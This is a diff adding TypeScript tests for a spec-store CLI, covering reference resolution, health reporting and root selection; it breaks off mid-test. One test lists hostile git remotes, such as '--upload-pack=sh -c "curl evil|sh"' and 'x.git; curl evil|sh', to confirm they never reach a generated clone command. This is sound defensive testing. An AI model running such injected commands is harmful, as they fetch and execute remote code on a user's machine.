expect(entries).toHaveLength(1); + expect(entries[0].specs).toEqual([]); + expect(entries[0].status).toEqual([]); + }); + + it('degrades an unregistered reference to reference_unresolved with a pasteable fix', async () => { + const entries = await assemble(['missing-context']); + + expect(entries).toHaveLength(1); + expect(entries[0].root).toBeUndefined(); + expect(entries[0].status[0]).toEqual( + expect.objectContaining({ + severity: 'warning', + code: 'reference_unresolved', + fix: expect.stringContaining('openspec store register <path> --id missing-context'), + }) + ); + }); + + it('renders a verbatim clone fix when the declaration carries a remote (3.3)', async () => { + const checkout = path.join(os.homedir(), 'openspec', 'missing-context'); + const entries = await assembleReferenceIndex({ + references: [{ id: 'missing-context', remote: 'https://192.0.2.1/team.git' }], + resolvedRoot: appRoot(), + globalDataDir, + }); + + // Quote style is platform-deliberate: POSIX single quotes; win32 + // double quotes (cmd/PowerShell treat single quotes as literal). + const q = process.platform === 'win32' ? '"' : "'"; + expect(entries[0].status[0].fix).toBe( + `git clone -- https://192.0.2.1/team.git ${q}${checkout}${q} && openspec store register ${q}${checkout}${q} --id missing-context` + ); + + // An invalid id wins over any declared remote. + const invalid = await assembleReferenceIndex({ + references: [{ id: 'BAD ID', remote: 'https://192.0.2.1/team.git' }], + resolvedRoot: appRoot(), + globalDataDir, + }); + expect(invalid[0].status[0].code).toBe('reference_invalid_id'); + expect(invalid[0].status[0].fix).not.toContain('git clone'); + }); + + it('refuses to render shell-unsafe remotes into the clone fix', async () => { + // Flag-like or metacharacter-bearing remotes from a repo-committed + // config must never reach a command agents execute verbatim. + for (const hostile of [ + '--upload-pack=sh -c "curl evil|sh" repo', + 'x.git; curl evil|sh', + 'a b.git', + "quote'.git", + ]) { + const entries = await assembleReferenceIndex({ + references: [{ id: 'missing-context', remote: hostile }], + resolvedRoot: appRoot(), + globalDataDir, + }); + expect(entries[0].status[0].fix).not.toContain('git clone'); + expect(entries[0].status[0].fix).toContain('Get a checkout from a teammate'); + } + }); + + it('degrades an invalid id to reference_invalid_id', async () => { + const entries = await assemble(['BAD ID']); + + expect(entries[0].status[0]).toEqual( + expect.objectContaining({ severity: 'warning', code: 'reference_invalid_id' }) + ); + }); + + it('degrades unhealthy and mismatched stores to reference_root_unhealthy', async () => { + await registerStore('hollow-context', { healthyRoot: false }); + await registerStore('mismatched-context', { metadataId: 'someone-else' }); + + const entries = await assemble(['hollow-context', 'mismatched-context']); + + for (const entry of entries) { + expect(entry.status[0]).toEqual( + expect.objectContaining({ + severity: 'warning', + code: 'reference_root_unhealthy', + fix: expect.stringContaining('openspec store doctor'), + }) + ); + } + }); + + it('degrades every reference when the registry is unreadable', async () => { + const registryDir = path.join(globalDataDir, 'stores'); + fs.mkdirSync(registryDir, { recursive: true }); + fs.writeFileSync(path.join(registryDir, 'registry.yaml'), ':[ not yaml'); + + const entries = await assemble(['team-context', 'other-context']); + + expect(entries).toHaveLength(2); + for (const entry of entries) { + expect(entry.status[0].code).toBe('reference_registry_unreadable'); + } + }); + + it('skips spec content, fetch recipes, and the budget in health mode (3.6)', async () => { + const storeRoot = await registerStore('team-context'); + // A corpus that would trip the 50KB budget with content included. + for (let i = 0; i < 60; i++) { + writeSpec(storeRoot, `spec-${i}`, `## Purpose\n\n${'x'.repeat(1200)}\n`); + } + + const entries = await assembleReferenceIndex({ + references: [{ id: 'team-context' }], + resolvedRoot: appRoot(), + globalDataDir, + includeSpecs: false, + }); + + expect(entries).toEqual([{ store_id: 'team-context', root: expect.any(String), status: [] }]); + expect('specs' in entries[0]).toBe(false); + expect('fetch' in entries[0]).toBe(false); + expect(entries[0].status).toEqual([]); // no reference_index_truncated, ever + }); + + it('uses injected registry entries with the [] vs null semantics (3.6)', async () => { + // Injected []: empty registry, references degrade to unresolved. + const empty = await assembleReferenceIndex({ + references: [{ id: 'team-context' }], + resolvedRoot: appRoot(), + globalDataDir, + registryEntries: [], + }); + expect(empty[0].status[0].code).toBe('reference_unresolved'); + + // Injected null: unreadable registry. + const unreadable = await assembleReferenceIndex({ + references: [{ id: 'team-context' }], + resolvedRoot: appRoot(), + globalDataDir, + registryEntries: null, + }); + expect(unreadable[0].status[0].code).toBe('reference_registry_unreadable'); + }); + + it('keeps registry-independent checks first under a corrupt registry', async () => { + const registryDir = path.join(globalDataDir, 'stores'); + fs.mkdirSync(registryDir, { recursive: true }); + fs.writeFileSync(path.join(registryDir, 'registry.yaml'), ':[ not yaml'); + + const root = mkdir('self-store'); + createOpenSpecRoot(root); + const entries = await assembleReferenceIndex({ + references: [{ id: 'BAD ID' }, { id: 'self-store' }], + resolvedRoot: { + path: root, + source: 'store', + storeId: 'self-store', + changesDir: path.join(root, 'openspec', 'changes'), + defaultSchema: 'spec-driven', + } as ResolvedOpenSpecRoot, + globalDataDir, + }); + + // Invalid grammar is invalid regardless of the registry; a + // by-id self-reference stays silently omitted. + expect(entries).toHaveLength(1); + expect(entries[0].status[0].code).toBe('reference_invalid_id'); + }); + + it('omits self-references silently, by id and by path', async () => { + const storeRoot = await registerStore('self-context'); + writeSpec(storeRoot, 'anything', '## Purpose\n\nA spec.\n'); + + const byId = await assembleReferenceIndex({ + references: [{ id: 'self-context' }], + resolvedRoot: { + path: storeRoot, + source: 'store', + storeId: 'self-context', + changesDir: path.join(storeRoot, 'openspec', 'changes'), + defaultSchema: 'spec-driven', + } as ResolvedOpenSpecRoot, + globalDataDir, + }); + expect(byId).toEqual([]); + + const byPath = await assembleReferenceIndex({ + references: [{ id: 'self-context' }], + resolvedRoot: { + path: storeRoot, + source: 'nearest', + changesDir: path.join(storeRoot, 'openspec', 'changes'), + defaultSchema: 'spec-driven', + } as ResolvedOpenSpecRoot, + globalDataDir, + }); + expect(byPath).toEqual([]); + }); + + it('truncates at the 50KB budget with an order-preserving keep and a warning', async () => { + const storeRoot = await registerStore('huge-context'); + // Summaries cap at ~300 rendered chars (sanitizeInline), so the + // 50KB budget is tripped by COUNT: 250 specs x ~310 bytes. + const longSummary = 'x'.repeat(5000); + for (let i = 0; i < 250; i++) { + writeSpec( + storeRoot, + `spec-${String(i).padStart(3, '0')}`, + `## Purpose\n\n${longSummary}\n` + ); + } + + const entries = await assemble(['huge-context']); + const entry = entries[0]; + + expect(entry.specs!.length).toBeGreaterThan(0); + expect(entry.specs!.length).toBeLessThan(250); + expect(entry.specs!.map((spec) => spec.id)).toEqual( + entry.specs!.map((_, i) => `spec-${String(i).padStart(3, '0')}`) + ); + expect(entry.status[0]).toEqual( + expect.objectContaining({ + code: 'reference_index_truncated', + fix: expect.stringContaining('openspec list --specs --store huge-context'), + }) + ); + + // The budget holds against the real rendering, in bytes; only the + // truncation warning's own lines are exempt. + const rendered = renderReferencedStoresBlock(entries); + const exempt = + Buffer.byteLength(` Note: ${entry.status[0].message}\n Fix: ${entry.status[0].fix}\n`); + expect(Buffer.byteLength(rendered, 'utf-8')).toBeLessThanOrEqual(50 * 1024 + exempt); + // The rendered block states the truncation, not just an orphan fix. + expect(rendered).toContain('Note: Referenced store \'huge-context\' index truncated'); + }); + + it('renders the XML block and markdown section consistently', async () => { + const storeRoot = await registerStore('team-context'); + writeSpec(storeRoot, 'billing', '## Purpose\n\nUsage-based invoicing.\n'); + writeSpec(storeRoot, 'bare', '## Requirements\n\nNothing else.\n'); + + const entries = await assemble(['team-context', 'missing-context']); + const block = renderReferencedStoresBlock(entries); + const section = renderReferencedStoresSection(entries); + + expect(block).toContain('<referenced_stores>'); + expect(block).toContain('Read-only upstream context. Fetch what you need; cite what you use.'); + expect(block).toContain(' - billing: Usage-based invoicing.'); + expect(block).toContain(' - bare'); + expect(block).not.toContain(' - bare:'); + expect(block).toContain('Fetch: openspec show <spec-id> --type spec --store team-context'); + expect(block).toContain("Store missing-context: Referenced store 'missing-context' is not registered on this machine."); + expect(block).toContain('Fix: Get a checkout from a teammate and run: openspec store register <path> --id missing-context'); + + expect(section).toContain('### Referenced Stores'); + expect(section).toContain(' - billing: Usage-based invoicing.'); + }); +}); + +describe('extractFirstPurposeLine', () => { + it('returns the first non-empty line under the Purpose heading', () => { + expect(extractFirstPurposeLine('# t\n\n## Purpose\n\n\nFirst line.\nSecond.\n')).toBe( + 'First line.' + ); + }); + + it('returns empty for missing Purpose, empty Purpose, and unparseable content', () => { + expect(extractFirstPurposeLine('# t\n\n## Requirements\n\nStuff.\n')).toBe(''); + expect(extractFirstPurposeLine('## Purpose\n\n## Requirements\n')).toBe(''); + expect(extractFirstPurposeLine('')).toBe(''); + }); + + it('matches the heading case-insensitively at any level', () => { + expect(extractFirstPurposeLine('### purpose\nIt works.\n')).toBe('It works.'); + }); + + it('ignores headings inside fenced code blocks', () => { + expect( + extractFirstPurposeLine( + '```markdown\n## Purpose\nTemplate text.\n```\n\n## Purpose\n\nReal summary.\n' + ) + ).toBe('Real summary.'); + expect( + extractFirstPurposeLine('```md\n## Purpose\n## Requirements\n```\n\n## Purpose\n\nStill found.\n') + ).toBe('Still found.'); + }); + + it('accepts CommonMark closing hashes', () => { + expect(extractFirstPurposeLine('## Purpose ##\n\nClosed heading.\n')).toBe('Closed heading.'); + }); + + it('follows CommonMark on heading edge cases', () => { + // A closing run only counts when whitespace precedes it. + expect(extractFirstPurposeLine('## Purpose ###\nx\n')).toBe('x'); + expect(extractFirstPurposeLine('## Purpose###\nx\n')).toBe(''); + expect(extractFirstPurposeLine('## Purpose\t##\nx\n')).toBe('x'); + + // Seven hashes is not a heading, and neither is a missing space. + expect(extractFirstPurposeLine('####### Purpose\nx\n')).toBe(''); + expect(extractFirstPurposeLine('#Purpose\nx\n')).toBe(''); + + // Padding collapses; a title of only hashes keeps them. + expect(extractFirstPurposeLine('## Purpose ## \nx\n')).toBe('x'); + expect(extractFirstPurposeLine('## Purpose \nx\n')).toBe('x'); + expect(extractFirstPurposeLine('## ###\nx\n')).toBe(''); + + expect(extractFirstPurposeLine('## Purpose\r\nx\r\n')).toBe('x'); + }); + + it('parses whitespace-padded headings in linear time', () => { + // The previous regex backtracked quadratically here: 10k padding took 60ms, + // 100k would take roughly six seconds. + const padded = `## a${' '.repeat(100_000)}#x\n\n## Purpose\n\nFound.\n`; + + const started = performance.now(); + expect(extractFirstPurposeLine(padded)).toBe('Found.'); + expect(performance.now() - started).toBeLessThan(1000); + }); +}); diff --git a/test/core/relationship-health.test.ts b/test/core/relationship-health.test.ts new file mode 100644 index 0000000000..b9072bbc64 --- /dev/null +++ b/test/core/relationship-health.test.ts @@ -0,0 +1,170 @@ +import { describe, expect, it } from 'vitest'; + +import { inspectRelationships } from '../../src/core/relationship-health.js'; +import type { ResolvedOpenSpecRoot } from '../../src/core/root-selection.js'; + +const root = { + path: '/team/store', + source: 'store', + storeId: 'team-context', + changesDir: '/team/store/openspec/changes', + specsDir: '/team/store/openspec/specs', + archiveDir: '/team/store/openspec/changes/archive', + defaultSchema: 'spec-driven', +} as ResolvedOpenSpecRoot; + +function baseInput() { + return { + root, + rootHealthy: true, + referenceEntries: [], + registryUnreadable: false, + }; +} + +describe('relationship health composition (3.6)', () => { + it('reports a clean relationship shape', () => { + const health = inspectRelationships(baseInput()); + + expect(health).toEqual({ + root: { + path: '/team/store', + source: 'store', + store_id: 'team-context', + healthy: true, + status: [], + }, + store: null, + references: [], + status: [], + }); + }); + + it('reports registry unreadable without inventing relationship entries', () => { + const health = inspectRelationships({ + ...baseInput(), + registryUnreadable: true, + }); + + expect(health.status[0]).toEqual( + expect.objectContaining({ code: 'relationship_registry_unreadable' }) + ); + }); + + it('surfaces both-shapes and inert-pointer wrong turns at top level', () => { + const health = inspectRelationships({ + ...baseInput(), + bothShapesPointer: { value: 'team-context', filePath: '/repo/openspec/config.yaml' }, + inertPointerDeclarations: { + filePath: '/app/openspec/config.yaml', + fields: ['references'], + }, + }); + + expect(health.status.map((entry) => entry.code)).toEqual([ + 'root_pointer_ignored', + 'pointer_declarations_inert', + ]); + expect(health.status[1].message).toContain('references'); + }); + + it('notes remote divergence as info in the store section', () => { + const facts = { + id: 'team-context', + metadataPresent: true, + metadataValid: true, + canonicalRemote: 'https://192.0.2.1/canon.git', + originUrl: 'https://192.0.2.2/fork.git', + }; + const diverged = inspectRelationships({ ...baseInput(), storeFacts: facts }); + expect(diverged.store?.status[0]).toEqual( + expect.objectContaining({ severity: 'info', code: 'store_remote_divergence' }) + ); + expect(diverged.store?.metadata.remote).toBe('https://192.0.2.1/canon.git'); + expect(diverged.store?.origin_url).toBe('https://192.0.2.2/fork.git'); + + const matching = inspectRelationships({ + ...baseInput(), + storeFacts: { ...facts, originUrl: facts.canonicalRemote }, + }); + expect(matching.store?.status).toEqual([]); + + const absent = inspectRelationships({ + ...baseInput(), + storeFacts: { id: 'team-context', metadataPresent: true, metadataValid: true }, + }); + expect(absent.store?.status).toEqual([]); + expect(absent.store?.metadata.remote).toBeUndefined(); + }); + + it('notes an upstream-behind checkout as info, but stays quiet when ahead-only', () => { + const facts = { id: 'team-context', metadataPresent: true, metadataValid: true }; + + const behind = inspectRelationships({ + ...baseInput(), + storeFacts: { ...facts, drift: { ahead: 0, behind: 3 } }, + }); + expect(behind.store?.status[0]).toEqual( + expect.objectContaining({ severity: 'info', code: 'store_checkout_drift' }) + ); + expect(behind.store?.status[0].message).toContain('3 commits behind'); + expect(behind.store?.drift).toEqual({ ahead: 0, behind: 3 }); + + // Singular when exactly one commit behind. + const one = inspectRelationships({ + ...baseInput(), + storeFacts: { ...facts, drift: { ahead: 0, behind: 1 } }, + }); + expect(one.store?.status[0].message).toContain('1 commit behind'); + expect(one.store?.status[0].message).not.toContain('1 commits'); + + const diverged = inspectRelationships({ + ...baseInput(), + storeFacts: { ...facts, drift: { ahead: 2, behind: 3 } }, + }); + expect(diverged.store?.status[0].message).toContain('diverged'); + expect(diverged.store?.status[0].message).toContain('3 behind, 2 ahead'); + + // Ahead-only is the normal steady state for a never-pushed store. + const ahead = inspectRelationships({ + ...baseInput(), + storeFacts: { ...facts, drift: { ahead: 4, behind: 0 } }, + }); + expect(ahead.store?.status).toEqual([]); + expect(ahead.store?.drift).toEqual({ ahead: 4, behind: 0 }); + + // In sync: counts surface in JSON (a consumer can tell "in sync" apart + // from "no upstream"), but nothing is reported. + const synced = inspectRelationships({ + ...baseInput(), + storeFacts: { ...facts, drift: { ahead: 0, behind: 0 } }, + }); + expect(synced.store?.status).toEqual([]); + expect(synced.store?.drift).toEqual({ ahead: 0, behind: 0 }); + + // No drift fact at all: nothing added, nothing reported. + const none = inspectRelationships({ ...baseInput(), storeFacts: facts }); + expect(none.store?.status).toEqual([]); + expect(none.store?.drift).toBeUndefined(); + }); + + it('passes reference entries through untouched', () => { + const entries = [ + { store_id: 'up', root: '/up', status: [] }, + { + store_id: 'ghost', + status: [ + { + severity: 'warning' as const, + code: 'reference_unresolved', + message: 'x', + target: 'references', + fix: 'y', + }, + ], + }, + ]; + const health = inspectRelationships({ ...baseInput(), referenceEntries: entries }); + expect(health.references).toBe(entries); + }); +}); diff --git a/test/core/root-selection.test.ts b/test/core/root-selection.test.ts new file mode 100644 index 0000000000..3a09d2ee55 --- /dev/null +++ b/test/core/root-selection.test.ts @@ -0,0 +1,611 @@ +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; + +import { + resolveOpenSpecRoot, + RootSelectionError, +} from '../../src/core/root-selection.js'; +import { + writeStoreMetadataState, + writeStoreRegistryState, +} from '../../src/core/store/foundation.js'; +import { saveGlobalConfig } from '../../src/core/global-config.js'; + +describe('resolveOpenSpecRoot', () => { + let tempDir: string; + let globalDataDir: string; + let savedXdgDataHome: string | undefined; + let savedXdgConfigHome: string | undefined; + + beforeEach(() => { + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-root-selection-')) + ); + globalDataDir = path.join(tempDir, 'global-data'); + // Backstop: store calls below thread `globalDataDir`, but if a future + // edit forgets one, the path resolver falls back to XDG_DATA_HOME and + // then to the real ~/.local/share/openspec. Pin XDG at the temp dir so + // a missed arg can never pollute the developer's home registry. + savedXdgDataHome = process.env.XDG_DATA_HOME; + process.env.XDG_DATA_HOME = path.join(tempDir, 'xdg'); + // Root resolution now reads the global config for `defaultStore`. Pin + // XDG_CONFIG_HOME at an empty temp dir so tests never see the + // developer's real ~/.config/openspec/config.json. + savedXdgConfigHome = process.env.XDG_CONFIG_HOME; + process.env.XDG_CONFIG_HOME = path.join(tempDir, 'xdg-config'); + }); + + afterEach(() => { + if (savedXdgDataHome === undefined) { + delete process.env.XDG_DATA_HOME; + } else { + process.env.XDG_DATA_HOME = savedXdgDataHome; + } + if (savedXdgConfigHome === undefined) { + delete process.env.XDG_CONFIG_HOME; + } else { + process.env.XDG_CONFIG_HOME = savedXdgConfigHome; + } + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function setDefaultStore(id: string): void { + saveGlobalConfig({ defaultStore: id }); + } + + function mkdir(relativePath: string): string { + const dir = path.join(tempDir, relativePath); + fs.mkdirSync(dir, { recursive: true }); + return dir; + } + + function createOpenSpecRoot(rootDir: string): void { + fs.mkdirSync(path.join(rootDir, 'openspec', 'specs'), { recursive: true }); + fs.mkdirSync(path.join(rootDir, 'openspec', 'changes', 'archive'), { recursive: true }); + fs.writeFileSync(path.join(rootDir, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + } + + async function registerStore( + id: string, + options: { healthyRoot?: boolean; metadataId?: string | null } = {} + ): Promise<string> { + const storeRoot = mkdir(`stores/${id}`); + if (options.healthyRoot !== false) { + createOpenSpecRoot(storeRoot); + } + if (options.metadataId !== null) { + await writeStoreMetadataState(storeRoot, { + version: 1, + id: options.metadataId ?? id, + }); + } + + const existing = fs.existsSync(path.join(globalDataDir, 'stores', 'registry.yaml')); + const registryStores = existing + ? (await import('../../src/core/store/foundation.js').then((m) => + m.readStoreRegistryState({ globalDataDir }) + ))?.stores ?? {} + : {}; + + await writeStoreRegistryState( + { + version: 1, + stores: { + ...registryStores, + [id]: { backend: { type: 'git', local_path: storeRoot } }, + }, + }, + { globalDataDir } + ); + + return storeRoot; + } + + async function expectRootSelectionError( + promise: Promise<unknown>, + code: string + ): Promise<RootSelectionError> { + let caught: unknown; + try { + await promise; + } catch (error) { + caught = error; + } + expect(caught).toBeInstanceOf(RootSelectionError); + const error = caught as RootSelectionError; + expect(error.diagnostic.code).toBe(code); + return error; + } + + it('resolves a selected store to its healthy OpenSpec root', async () => { + const storeRoot = await registerStore('team-context'); + + const root = await resolveOpenSpecRoot({ store: 'team-context', globalDataDir }); + + expect(root.source).toBe('store'); + expect(root.storeId).toBe('team-context'); + expect(root.path).toBe(storeRoot); + expect(root.changesDir).toBe(path.join(storeRoot, 'openspec', 'changes')); + expect(root.specsDir).toBe(path.join(storeRoot, 'openspec', 'specs')); + expect(root.archiveDir).toBe(path.join(storeRoot, 'openspec', 'changes', 'archive')); + expect(root.defaultSchema).toBe('spec-driven'); + }); + + it('rejects an unknown store id and lists registered ids', async () => { + await registerStore('team-context'); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ store: 'team-contxt', globalDataDir }), + 'unknown_store' + ); + expect(error.message).toContain("'team-contxt'"); + expect(error.message).toContain('team-context'); + }); + + it('rejects --store when no stores are registered without suggesting --store-path', async () => { + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ store: 'team-context', globalDataDir }), + 'no_registered_stores' + ); + expect(error.message).not.toContain('--store-path'); + expect(error.diagnostic.fix).not.toContain('--store-path'); + }); + + it('rejects an invalid store id format before registry lookup', async () => { + // No registry exists at all; format validation must win. + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ store: 'Bad/Id', globalDataDir }), + 'invalid_store_id' + ); + expect(error.message).toContain('Store id'); + }); + + it('rejects an unhealthy store root without repairing it', async () => { + const storeRoot = await registerStore('team-context', { healthyRoot: false }); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ store: 'team-context', globalDataDir }), + 'unhealthy_store_root' + ); + expect(error.diagnostic.fix).toContain('store doctor'); + // No scaffolding or repair happened. + expect(fs.existsSync(path.join(storeRoot, 'openspec'))).toBe(false); + }); + + it('rejects a store whose metadata id does not match the registry id', async () => { + await registerStore('team-context', { metadataId: 'other-context' }); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ store: 'team-context', globalDataDir }), + 'store_identity_mismatch' + ); + expect(error.message).toContain('other-context'); + expect(error.diagnostic.fix).toContain('store doctor'); + }); + + it('rejects a store with missing identity metadata before root-health checks', async () => { + // Root is also unhealthy; the identity failure must win. + await registerStore('team-context', { healthyRoot: false, metadataId: null }); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ store: 'team-context', globalDataDir }), + 'store_identity_mismatch' + ); + expect(error.diagnostic.fix).toContain('store doctor'); + }); + + it('rejects --store-path deliberately with register guidance', async () => { + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ storePath: '/somewhere', globalDataDir }), + 'store_path_not_supported' + ); + expect(error.message).toContain('store register'); + expect(error.message).toContain('--store <id>'); + }); + + it('resolves the nearest openspec root without --store', async () => { + const repoRoot = mkdir('app-repo'); + createOpenSpecRoot(repoRoot); + const nested = mkdir('app-repo/src/deep'); + + const root = await resolveOpenSpecRoot({ startPath: nested, globalDataDir }); + + expect(root.source).toBe('nearest'); + expect(root.path).toBe(repoRoot); + }); + + it('ignores leftover workspace view state when a nearest root exists', async () => { + const workspaceDir = mkdir('workspace'); + fs.mkdirSync(path.join(workspaceDir, '.openspec-workspace'), { recursive: true }); + fs.writeFileSync( + path.join(workspaceDir, '.openspec-workspace', 'view.yaml'), + 'version: 1\nname: platform\ncontext: null\nlinks: {}\n' + ); + const repoRoot = mkdir('workspace/app-repo'); + createOpenSpecRoot(repoRoot); + const nested = mkdir('workspace/app-repo/src'); + + const root = await resolveOpenSpecRoot({ startPath: nested, globalDataDir }); + + expect(root.source).toBe('nearest'); + expect(root.path).toBe(repoRoot); + expect(root.changesDir).toBe(path.join(repoRoot, 'openspec', 'changes')); + expect(root.defaultSchema).toBe('spec-driven'); + }); + + it('treats workspace state alone as no root at all', async () => { + const workspaceDir = mkdir('workspace-only'); + fs.mkdirSync(path.join(workspaceDir, '.openspec-workspace'), { recursive: true }); + fs.writeFileSync( + path.join(workspaceDir, '.openspec-workspace', 'view.yaml'), + 'version: 1\nname: platform\ncontext: null\nlinks: {}\n' + ); + + const root = await resolveOpenSpecRoot({ startPath: workspaceDir, globalDataDir }); + + expect(root.source).toBe('implicit'); + expect(root.path).toBe(workspaceDir); + }); + + it('fails with a store-selection hint when no root exists but stores are registered', async () => { + await registerStore('team-context'); + const appRepo = mkdir('plain-app'); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: appRepo, globalDataDir }), + 'no_root_with_registered_stores' + ); + expect(error.message).toContain('team-context'); + expect(error.message).toContain('--store <id>'); + expect(error.message).toContain('openspec init'); + // No scaffolding happened. + expect(fs.existsSync(path.join(appRepo, 'openspec'))).toBe(false); + }); + + it('allows an implicit root only when requested', async () => { + const appRepo = mkdir('implicit-app'); + + const implicitRoot = await resolveOpenSpecRoot({ startPath: appRepo, globalDataDir }); + expect(implicitRoot.source).toBe('implicit'); + expect(implicitRoot.path).toBe(appRepo); + + await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: appRepo, globalDataDir, allowImplicitRoot: false }), + 'no_openspec_root' + ); + }); + + it('prefers the selected store over a nearby root and leftover workspace state', async () => { + const storeRoot = await registerStore('team-context'); + const repoRoot = mkdir('local-repo'); + createOpenSpecRoot(repoRoot); + fs.mkdirSync(path.join(repoRoot, '.openspec-workspace'), { recursive: true }); + fs.writeFileSync( + path.join(repoRoot, '.openspec-workspace', 'view.yaml'), + 'version: 1\nname: platform\ncontext: null\nlinks: {}\n' + ); + + const root = await resolveOpenSpecRoot({ + store: 'team-context', + startPath: repoRoot, + globalDataDir, + }); + + expect(root.source).toBe('store'); + expect(root.path).toBe(storeRoot); + }); + + describe('declared store fallback (3.2)', () => { + function createPointerDir(relativePath: string, configBody: string): string { + const dir = mkdir(relativePath); + fs.mkdirSync(path.join(dir, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(dir, 'openspec', 'config.yaml'), configBody); + return dir; + } + + it('resolves a config-only pointer to the declared store', async () => { + const storeRoot = await registerStore('team-context'); + const pointerDir = createPointerDir('app-repo', 'store: team-context\n'); + + const root = await resolveOpenSpecRoot({ startPath: pointerDir, globalDataDir }); + + expect(root.source).toBe('declared'); + expect(root.storeId).toBe('team-context'); + expect(root.path).toBe(storeRoot); + // The pointer dir is untouched. + expect(fs.existsSync(path.join(pointerDir, 'openspec', 'specs'))).toBe(false); + expect(fs.existsSync(path.join(pointerDir, 'openspec', 'changes'))).toBe(false); + }); + + it('lets explicit --store beat the pointer with source store', async () => { + await registerStore('team-context'); + const otherRoot = await registerStore('other-context'); + const pointerDir = createPointerDir('app-repo', 'store: team-context\n'); + + const root = await resolveOpenSpecRoot({ + startPath: pointerDir, + store: 'other-context', + globalDataDir, + }); + + expect(root.source).toBe('store'); + expect(root.path).toBe(otherRoot); + }); + + it('never overrides a real root and warns once about the ignored pointer', async () => { + await registerStore('team-context'); + const repo = mkdir('real-repo'); + createOpenSpecRoot(repo); + fs.writeFileSync( + path.join(repo, 'openspec', 'config.yaml'), + 'schema: spec-driven\nstore: team-context\n' + ); + + const warnings: string[] = []; + const original = console.error; + console.error = (message: string) => warnings.push(String(message)); + try { + const root = await resolveOpenSpecRoot({ startPath: repo, globalDataDir }); + expect(root.source).toBe('nearest'); + expect(root.path).toBe(repo); + expect(root.storeId).toBeUndefined(); + } finally { + console.error = original; + } + + expect(warnings).toHaveLength(1); + expect(warnings[0]).toContain("declares store 'team-context'"); + expect(warnings[0]).toContain('the declaration is ignored'); + }); + + it('keeps config-only directories without a pointer as plain roots', async () => { + await registerStore('team-context'); + const dir = createPointerDir('plain-config-only', 'schema: spec-driven\n'); + + const warnings: string[] = []; + const original = console.error; + console.error = (message: string) => warnings.push(String(message)); + try { + const root = await resolveOpenSpecRoot({ startPath: dir, globalDataDir }); + expect(root.source).toBe('nearest'); + expect(root.path).toBe(dir); + } finally { + console.error = original; + } + expect(warnings).toEqual([]); + }); + + it('errors on malformed pointers instead of falling through to local writes', async () => { + const nonString = createPointerDir('bad-type', 'store: [a, b]\n'); + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: nonString, globalDataDir }), + 'invalid_store_pointer' + ); + expect(error.message).toContain(path.join(nonString, 'openspec', 'config.yaml')); + expect(error.message).toContain('the store key must be a single store id string'); + expect(fs.existsSync(path.join(nonString, 'openspec', 'changes'))).toBe(false); + + const unparseable = createPointerDir('bad-yaml', 'store: [unclosed'); + const yamlError = await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: unparseable, globalDataDir }), + 'invalid_store_pointer' + ); + // The unparseable case names the real problem, not a phantom key. + expect(yamlError.message).toContain('could not be read as YAML'); + expect(yamlError.diagnostic.fix).toContain('Fix the YAML syntax'); + + // A config that parses to a non-mapping scalar has no pointer at + // all: plain root, no error (readProjectConfig owns that warning). + const scalar = createPointerDir('scalar-config', 'just a string'); + const scalarRoot = await resolveOpenSpecRoot({ startPath: scalar, globalDataDir }); + expect(scalarRoot.source).toBe('nearest'); + }); + + it('treats empty and comments-only configs as plain roots, not malformed pointers', async () => { + // The documented conversion path comments the line out; that must + // not strand every command behind invalid_store_pointer. + const empty = createPointerDir('empty-config', ''); + const emptyRoot = await resolveOpenSpecRoot({ startPath: empty, globalDataDir }); + expect(emptyRoot.source).toBe('nearest'); + expect(emptyRoot.path).toBe(empty); + + const commented = createPointerDir('commented-config', '# store: team-context\n'); + const commentedRoot = await resolveOpenSpecRoot({ startPath: commented, globalDataDir }); + expect(commentedRoot.source).toBe('nearest'); + expect(commentedRoot.path).toBe(commented); + }); + + it('prefixes every taxonomy error with the declaration origin, fix unprefixed', async () => { + const cases: Array<[string, string, () => Promise<unknown>]> = []; + + const unknownDir = createPointerDir('unknown-pointer', 'store: ghost-context\n'); + await registerStore('team-context'); + cases.push([ + 'unknown_store', + path.join(unknownDir, 'openspec', 'config.yaml'), + () => resolveOpenSpecRoot({ startPath: unknownDir, globalDataDir }), + ]); + + const invalidDir = createPointerDir('invalid-pointer', 'store: "BAD ID"\n'); + cases.push([ + 'invalid_store_id', + path.join(invalidDir, 'openspec', 'config.yaml'), + () => resolveOpenSpecRoot({ startPath: invalidDir, globalDataDir }), + ]); + + await registerStore('hollow-context', { healthyRoot: false }); + const unhealthyDir = createPointerDir('unhealthy-pointer', 'store: hollow-context\n'); + cases.push([ + 'unhealthy_store_root', + path.join(unhealthyDir, 'openspec', 'config.yaml'), + () => resolveOpenSpecRoot({ startPath: unhealthyDir, globalDataDir }), + ]); + + await registerStore('mismatched-context', { metadataId: 'someone-else' }); + const mismatchDir = createPointerDir('mismatch-pointer', 'store: mismatched-context\n'); + cases.push([ + 'store_identity_mismatch', + path.join(mismatchDir, 'openspec', 'config.yaml'), + () => resolveOpenSpecRoot({ startPath: mismatchDir, globalDataDir }), + ]); + + for (const [code, origin, run] of cases) { + const error = await expectRootSelectionError(run(), code); + expect(error.message).toContain(`Declared in ${origin}: `); + expect(error.diagnostic.fix).not.toContain('Declared in'); + } + }); + + it('prefixes no_registered_stores when nothing is registered', async () => { + const pointerDir = createPointerDir('lonely-pointer', 'store: team-context\n'); + + const error = await expectRootSelectionError( + resolveOpenSpecRoot({ startPath: pointerDir, globalDataDir }), + 'no_registered_stores' + ); + expect(error.message).toContain('Declared in '); + }); + + it('resolves one hop only - a store with its own pointer is the destination', async () => { + const storeRoot = await registerStore('team-context'); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nstore: somewhere-else\n' + ); + const 